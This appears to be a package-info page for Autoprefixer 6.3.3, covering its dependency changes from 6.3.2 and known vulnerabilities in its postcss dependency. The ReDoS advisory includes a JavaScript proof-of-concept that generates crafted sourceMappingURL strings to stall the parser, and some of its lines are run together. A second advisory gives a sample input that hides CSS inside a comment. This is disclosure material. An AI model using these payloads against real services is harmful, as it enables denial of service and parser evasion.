Autoprefixer version 6.3.3 is a minor update to the popular CSS prefixing tool, building upon the foundation laid by version 6.3.2. Both versions parse CSS and automatically add vendor prefixes, ensuring compatibility across different browsers based on data from the Can I Use website. This eliminates the need for developers to manually add prefixes, saving time and reducing the risk of errors.
Key dependencies like postcss, caniuse-db, num2fraction, normalize-range, and postcss-value-parser remain largely consistent between the two versions, suggesting that the core prefixing functionality is stable. However, a notable difference lies in the browserslist dependency, updated from ~1.1.2 in 6.3.2 to ~1.1.3 in 6.3.3. This means version 6.3.3 likely includes updated browser support definitions, allowing it to generate prefixes for a wider range of browsers or handle newer browser features more accurately.
Another change is the bump gulp-eslint from 1.1.1 to 2.0.0. This is a major version and could indicate changes to the linting rules used during development, potentially leading to stricter code quality enforcement in the newer version.
For developers, upgrading to Autoprefixer 6.3.3 is recommended to benefit from the latest browser support definitions and any improvements in code linting. The update provides a more robust prefixing solution with potentially higher accuracy and code quality enforcement, resulting in more reliable and maintainable CSS. The update is released on February 13, 2016, three days after the previous one.
All the vulnerabilities related to the version 6.3.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.